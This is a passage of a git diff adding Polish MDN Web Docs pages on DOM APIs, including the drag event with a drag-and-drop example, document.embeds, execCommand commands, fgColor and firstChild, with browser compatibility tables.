id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-2250147">domain </a></p> +<p>{{ languages( { "en": "en/DOM/document.domain" } ) }}</p> diff --git a/files/pl/web/api/document/drag_event/index.html b/files/pl/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..ccc5d55cbb --- /dev/null +++ b/files/pl/web/api/document/drag_event/index.html @@ -0,0 +1,333 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - DOM + - Zdarzenie + - przeciągnij i upuść +translation_of: Web/API/Document/drag_event +--- +<div>{{APIRef}}</div> + +<p>Zdarzenie <code>przeciągania</code> uruchamiane jest po przeciągnięciu elementu lub tekstu (co kilkaset milisekund).</p> + +<h2 id="Ogólne_informacje">Ogólne informacje</h2> + +<table class="properties"> + <tbody> + <tr> + <td>Bąbelkowanie</td> + <td>Tak</td> + </tr> + <tr> + <td>Cancelable</td> + <td>Tak</td> + </tr> + <tr> + <td>Obiekt docelowy</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>Interfejs</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>Domyślna akcja</td> + <td>Kontynuuje operacje przeciągania i upuszczania</td> + </tr> + </tbody> +</table> + +<h2 id="Właściwości">Właściwości</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: js"><div class="dropzone"> + <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> + This div is draggable + </div> +</div> +<div class="dropzone"></div> +<div class="dropzone"></div> +<div class="dropzone"></div> + +<style> + #draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; + } + + .dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; + } +</style> + +<script> + var dragged; + + /* events fired on the draggable target */ + document.addEventListener("drag", function( event ) { + + }, false); + + document.addEventListener("dragstart", function( event ) { + // store a ref. on the dragged elem + dragged = event.target; + // make it half transparent + event.target.style.opacity = .5; + }, false); + + document.addEventListener("dragend", function( event ) { + // reset the transparency + event.target.style.opacity = ""; + }, false); + + /* events fired on the drop targets */ + document.addEventListener("dragover", function( event ) { + // prevent default to allow drop + event.preventDefault(); + }, false); + + document.addEventListener("dragenter", function( event ) { + // highlight potential drop target when the draggable element enters it + if ( event.target.className == "dropzone" ) { + event.target.style.background = "purple"; + } + + }, false); + + document.addEventListener("dragleave", function( event ) { + // reset background of potential drop target when the draggable element leaves it + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + } + + }, false); + + document.addEventListener("drop", function( event ) { + // prevent default action (open as link for some elements) + event.preventDefault(); + // move dragged elem to the selected drop target + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } + + }, false); +</script> +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Obsługiwane_przeglądarki">Obsługiwane przeglądarki</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> + <li><a href="http://jsfiddle.net/zfnj5rv4/">Demo</a></li> +</ul> diff --git a/files/pl/web/api/document/embeds/index.html b/files/pl/web/api/document/embeds/index.html new file mode 100644 index 0000000000..ca0ab4ff2f --- /dev/null +++ b/files/pl/web/api/document/embeds/index.html @@ -0,0 +1,22 @@ +--- +title: document.embeds +slug: Web/API/Document/embeds +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/embeds +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>embeds</b> zwraca listę obiektów OBJECT zagnieżdżonych w bieżącym dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>listaWęzłów</i> = document.embeds +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<p><br> + <a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/collections/embeds.asp">MSDN: embeds collection</a></p> +<p>{{ languages( { "en": "en/DOM/document.embeds" } ) }}</p> diff --git a/files/pl/web/api/document/execcommand/index.html b/files/pl/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..0718107051 --- /dev/null +++ b/files/pl/web/api/document/execcommand/index.html @@ -0,0 +1,280 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +tags: + - API + - DOM + - Method + - NeedsBrowserCompatibility + - NeedsExample + - Reference + - edytor +translation_of: Web/API/Document/execCommand +--- +<div></div> + +<div>Kiedy dokument HTML jest przełączony w tryb <code>designMode</code>, obiekt dokumentu udostępnia metodę <code>execCommand</code>, która pozwala uruchomić komendy manipulujące edytowalnym obszarem. Większość poleceń wpływa na zaznaczony obszar (pogrubienie, kursywa itd.), podczas gdy inne wstawiają nowe elementy (dodawanie linku) lub wpływają na całą linię (wcięcia). Przy użyciu <code>contentEditable</code>, wywołanie <code>execCommand()</code> wpływa na aktywny edytowalny element.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>) +</pre> + +<h3 id="Zwracane_wartości">Zwracane wartości</h3> + +<p>Obiekt {{jsxref('Boolean')}}, który zwraca <code>false</code>, jeśli polecenie jest niewspierane lub włączone. <strong>Uwaga</strong>: Zwraca prawdę tylko jeśli jest częścią UI, to znaczy - nie jest używana do sprawdzania wsparcia przeglądarki przed renderowaniem elementu, który wywołuje polecenie. </p> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>aCommandName</code></dt> + <dd>Typu {{domxref("DOMString")}} - określanazwę polecenia do wykonania. Zobacz {{anch("Commands")}}, aby wyświetlić listę poleceń.</dd> + <dt><code>aShowDefaultUI</code></dt> + <dd>Typu {jsxref("Boolean")}} - wskazuje czy domyślny interfejs użytkownika powinien być pokazany. Nie jest implementowane przez Mozillę.</dd> + <dt><code>aValueArgument</code></dt> + <dd>W przypadku komend wymagających wprowadzenia argumentu (takiego jak <code>insertImage</code>, gdzie jest to URL do grafiki do wstawienia), jest to {{domxref("DOMString")}} przekazujący te informacje. Podaj null, jeśli niewymagany.</dd> +</dl> + +<h3 id="Polecenia">Polecenia</h3> + +<dl> + <dt><code>backColor</code></dt> + <dd>Zmienia kolor tła. W trybie <code>styleWithCss</code> zmieia kolor jedynie zawierającego elementu. Wymaga podania ciągu znaków{{cssxref("<color>")}} jako wartości argumentu. Zwróć uwagę na to, że Internet Explorer używa tego do zmiany koloru tła tekstu.</dd> + <dt><code>bold</code></dt> + <dd>Włącza/wyłącza pogrubienie w zaznaczeniu lub miejscu wstawiania. IE używa znacznika {{HTMLElement("strong")}} zamiast {{HTMLElement("b")}}.</dd> + <dt><code>contentReadOnly</code></dt> + <dd>Sprawia, że dokument jest zawartość jest tylko do odczytu lub edytowalna. Wymaga prawdy/fałszu jako wartości argumentu. (Nie wspierany przez IE).</dd> + <dt><code>copy</code></dt> + <dd>Kopiuje zaznaczenie do schowkka. Warunki włączenia tego zachowania różnią się między przeglądarkami i zmieniają się w czasie. Sprawdź tabelę zgodności, aby określić, czy możesz użyć w swoim przypadku.</dd> + <dt><code>createLink</code></dt> + <dd>Wstawia link z zaznaczenia (wymaga zaznaczenia). HREF URI musi być podany jako wartość argumentu. URI musi zawierać co najmniej jeden zak, może być białym znakiem (IE utworzy link z wartością null).</dd> + <dt><code>cut</code></dt> + <dd>Usuwa zaznaczenie kopiując do schowka. Warunki włączenia tego zachowania różnią się między przeglądarkami i zmieniają się w czasie. Sprawdź tabelę zgodności, aby określić, czy możesz użyć w swoim przypadku.</dd> + <dt><code>decreaseFontSize</code></dt> + <dd>Wstawia znacznik {{HTMLElement("small")}} wokół zaznaczenia lub w miejscu wstawienia. (Nie wspierane przez IE.)</dd> + <dt><code>defaultParagraphSeparator</code></dt> + <dd>Zmienia separator akapitu używany podczas tworzenia nowych akapitów w edytowalnych regionach tekstowych. Zobacz <a href="/pl/docs/Web/Guide/HTML/Editable_content#Differences_in_markup_generation">Differences in markup generation</a> po więcej szczegółów.</dd> + <dt><code>delete</code></dt> + <dd>Usuwa zaznaczenie.</dd> + <dt><code>enableInlineTableEditing</code></dt> + <dd>Włącza lub wyłącza wstawianie wierszy i kolumn oraz elementy sterujące usuwaniem. (Nie obsługiwane przez Internet Explorer.)</dd> + <dt><code>enableObjectResizing</code></dt> + <dd>Umożliwia lub uniemożliwia zmianę rozmiaru uchwytów na obrakach lub innych skalowalnych obiektów. (Nie wspierane przez IE)</dd> + <dt><code>fontName</code></dt> + <dd>Zmienia nazwę czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga ciągu znaków (np. <code>"Arial"</code>) jako wartości argumentu.</dd> + <dt><code>fontSize</code></dt> + <dd>Zmienia rozmiar czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga rozmiaru czcionki HTML (<code>1</code>-<code>7</code>) jako wartości argumentu.</dd> + <dt><code>foreColor</code></dt> + <dd>Zmienia kolor czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga wartości koloru (w postaci ciągu znaków) jako wartości argumentu.</dd> + <dt><code>formatBlock</code></dt> + <dd>Wstawia tag stylu blokowego dla linii w zaznaczeniu, zastępując blokowy element zawierający linię, jeśli taki istnieje (w Firefoxie, BLOCKQUOTE jest wyjątkiem - zawinie blokowy element zawierający). Wymaga ciągu znaków oznaczającego znacznik jako wartość argumentu. Można użyć praktycznie wszystkich (np. "H1", "P", "DL", "BLOCKQUOTE). (IE wspiera jedynie H1-H6, "ADDRESS", PRE, które jeszcze muszą zawierać nawiasy znaczników <>, tak jak "<h1">).</dd> + <dt><code>forwardDelete</code></dt> + <dd>Usuwa znak przed pozycją <a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">kursora</a>. Działa jak wciśnięcie klawisza Delete.</dd> + <dt><code>heading</code></dt> + <dd>Wstawia tag nagłówka naokoło zaznaczenia lub w miejscu wstawiania. Wymaga ciągu znaków oznaczającego nazwę tagu jako wartości argumentu (np. "H1", "H6"). (Nie wspierane przez IE ani Safari).</dd> + <dt><code>hiliteColor</code></dt> + <dd>Zmienia kolor tła dla zaznaczenia lub w miejscu wstawiania. Wymaga ciągu znaków w postaci wartości kolorów jako wartości argumentu. Do użycia tej funkcji jest wymagane użycie CSS. (Nie wspierane przez IE).</dd> + <dt><code>increaseFontSize</code></dt> + <dd>Wstawia tag BIG naokoło zaznaczenia lub w miejscu wstawiania. (Nie wspierane przez IE).</dd> + <dt><code>indent</code></dt> + <dd>Wcina wiersz zawierający zaznaczenie lub punkt wstawiania. W Firefixie, jeśli zaznaczenie obejmuje wiele linii na różnych poziomach wcięcia, jedynie ostatnie wcięte linie zostaną wcięte.</dd> + <dt><code>insertBrOnReturn</code></dt> + <dd>Kontroluje, czy klawisz Enter wstawia tag BR, czy dzieli elemet blokowy na dwa (Nie wspierane przez IE)</dd> + <dt><code>insertHorizontalRule</code></dt> + <dd>Wstawia poziomą linię w miejscu wstawiania (usuwa zaznaczenie).</dd> + <dt><code>insertHTML</code></dt> + <dd>Wstawia ciąg znaków w postaci kodu HTML (usuwa zaznaczenie). Wymaga poprawnego kodu jako wartość argumentu. (Nie wspierane prze</dd> + <dt><code>insertImage</code></dt> + <dd>Wstawia grafikę w punkcie wstawiania (usuwa zaznaczenie). Wymaga ciągu znaków w postaci SRC URI jako wartości argumentu. URI musi zawierać co najmniej jeden znak (może być to biały znak). (Nie wspierane przez IE).</dd> + <dt><code>insertOrderedList</code></dt> + <dd>Wstawia numerowaną listę dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>insertUnorderedList</code></dt> + <dd>Wstawia punktowaną listę dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>insertParagraph</code></dt> + <dd>Wstawia akapit naokoło zaznaczenia lub w danej linii. (IE wstawia akapit w miejscu wstaawiania i usuwa zaznaczenie).</dd> + <dt><code>insertText</code></dt> + <dd>Wstawia dany tekst w miejsce wstawiania (usuwa zaznaczenie).</dd> + <dt><code>italic</code></dt> + <dd>Włącza/wyłącza pochylenie dla zaznaczenia lub w miejscu wstawiania (IE używa tagu EM zamiast I).</dd> + <dt><code>justifyCenter</code></dt> + <dd>Wyśrodkowuje zaznaczenie lub miejsce wstawiania.</dd> + <dt><code>justifyFull</code></dt> + <dd>Justuje zaznaczenie lub miejsce wstawiania.</dd> + <dt><code>justifyLeft</code></dt> + <dd>Wyrównuje do lewej zaznaczenie lub miejsce wstawiania.</dd> + <dt><code>justifyRight</code></dt> + <dd>Wyrównuje do prawej zaznaczenie lub miejsce wstawiaia.</dd> + <dt><code>outdent</code></dt> + <dd>Wysuwa linię zawierającą zaznaczenie lub punkt wstawiania.</dd> + <dt><code>paste</code></dt> + <dd>Wstawia zawartość schowka w miejscu wstawiania (zastępuje zaznaczenie). Nie działa dla zawartości z internetu. Zobacz [1]</dd> + <dt><code>redo</code></dt> + <dd>Ponawia ostatnio cofniętą komendę.</dd> + <dt><code>removeFormat</code></dt> + <dd>Usuwa całe formatowanie z zaznaczenia.</dd> + <dt><code>selectAll</code></dt> + <dd>Zaznacza całą zawartość z edytowalnego obszaru.</dd> + <dt><code>strikeThrough</code></dt> + <dd>Włącza/wyłącza przekreślenie dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>subscript</code></dt> + <dd>Włącza/wyłącza indeks dolny dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>superscript</code></dt> + <dd>Włącza/wyłącza indeks górny dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>underline</code></dt> + <dd>Włącza/wyłącza podkreślenie dla zaznaczenia lub w punkcie wstawiania.</dd> + <dt><code>undo</code></dt> + <dd>Cofa ostatnio wykonaną komendę.</dd> + <dt><code>unlink</code></dt> + <dd>Usuwa tag kotwicy z zaznaczonego linku.</dd> + <dt><code>useCSS</code> {{Deprecated_inline}}</dt> + <dd>Przełącza użycie HTML/CSS dla generowanego kodu. Wymaga prawdy/fałszu jako wartości argumentu. UWAGA: dla CSS wymaga fałszu, dla HTML - prawdy. (Nie jest wspierane przez IE). Deprecjonowana właściwość. Użyj <em>styleWithCSS</em></dd> + <dt><code>styleWithCSS</code></dt> + <dd>Zastępuje <em>useCSS</em>; działa normalnie - dla CSS wymaga prawdy, fałsz generuje HTML.</dd> +</dl> + +<h2 id="Example">Example</h2> + +<p>Zobacz <a href="http://codepen.io/netsi1964/full/QbLLGW/">how to use</a> w CodePen.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>insertBrOnReturn</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>copy</code>/<code>cut</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(41)}}</td> + <td>9</td> + <td>29</td> + <td>10</td> + </tr> + <tr> + <td><code>defaultParagraphSeparator</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(55)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>insertBrOnReturn</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>copy</code>/<code>cut</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(41)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>defaultParagraphSeparator</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(55)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Przed przeglądarką Firefox 41 w pliku preferencji user.js trzeba było włączyć obsługę schowka. Aby uzyskać więcej informacji, zobacz <a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences">Krótki przewodnik po preferencjach Mozilli</a>. Jeśli polecenie nie było obsługiwane lub włączone, <code>execCommand</code> rzucał wyjątek zamiast zwracać <code>false</code>. W Firefoxie 41 i nowszych, schowek może zostać zapisany w dowolnym programie obsługi zdarzeń read the clipboard. WebExtensions can <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">interact with the clipboard</a>.</p> + +<p>Przed przeglądarką Firefox 41 w pliku preferencji user.js trzeba było włączyć obsługę schowka. Aby uzyskać więcej informacji, zobacz Krótki przewodnik po preferencjach Mozilli. Jeśli polecenie nie było obsługiwane lub włączone, execCommand podnosił wyjątek zamiast zwracać fałsz. W przeglądarce Firefox 41 i nowszych schowek może zostać zapisany w dowolnej obsłudze zdarzeń, która może spowodować wyskoczenie okna (częściowo zaufane skrypty), ale żadna treść internetowa nie może odczytać schowka. WebExtensions mogą wchodzić w interakcje ze schowkiem.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li> + <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> z błędami odnoszącymi się do <code>document.execCommand</code>.{{CompatUnknown}}</li> +</ul> diff --git a/files/pl/web/api/document/fgcolor/index.html b/files/pl/web/api/document/fgcolor/index.html new file mode 100644 index 0000000000..a9f0287372 --- /dev/null +++ b/files/pl/web/api/document/fgcolor/index.html @@ -0,0 +1,28 @@ +--- +title: document.fgColor +slug: Web/API/Document/fgColor +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document/fgColor +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>fgColor</b> pobiera/ustawia kolor pierwszoplanowy (kolor tekstu) bieżącego dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>kolor</i> = document.fgColor +document.fgColor =<i>kolor</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>kolor</code> jest ciągiem określającym kolor - słownie (np. "red") lub szesnastkowo, jak w HTML-u (np. "#fdfef8").</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">document.fgColor = "white"; +document.bgColor = "darkblue"; +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0 - brak w specyfikacji.</p> +<p>{{ languages( { "en": "en/DOM/document.fgColor" } ) }}</p> diff --git a/files/pl/web/api/document/firstchild/index.html b/files/pl/web/api/document/firstchild/index.html new file mode 100644 index 0000000000..c2bc145b41 --- /dev/null +++ b/files/pl/web/api/document/firstchild/index.html @@ -0,0 +1,36 @@ +--- +title: document.firstChild +slug: Web/API/Document/firstChild +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Node/firstChild +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><b>document.firstChild</b> zwraca pierwszy węzeł z listy bezpośrednich dzieci dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>dziecko</i> = document.firstChild +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>dziecko</code> jest węzłem typu <a href="pl/DOM/element">element</a>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>function fChild() { + f = document.firstChild; + alert(f.tagName); +} +// wyświetli: HTML +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zauważ, że możesz powrócić do drzewa DOM z tą własnością, by przejąć te węzły potomne, których potrzebujesz, ponieważ prawie zawsze <b>firstChild</b> zwraca element HTML.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-169727388">firstChild </a></p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/document.firstChild", "es": "es/DOM/document.firstChild", "fr": "fr/DOM/document.firstChild", "ja": "ja/DOM/document.firstChild" } ) }}</p> diff --git a/files/pl/web/api/document/forms/index.html b/files/pl/web/api/document/forms/index.html new file mode 100644 index 0000000000..dcba1e18e0 --- /dev/null +++ b/files/pl/web/api/document/forms/index.html @@ -0,0 +1,45 @@ +--- +title: document.forms +slug: Web/API/Document/forms +tags: + - 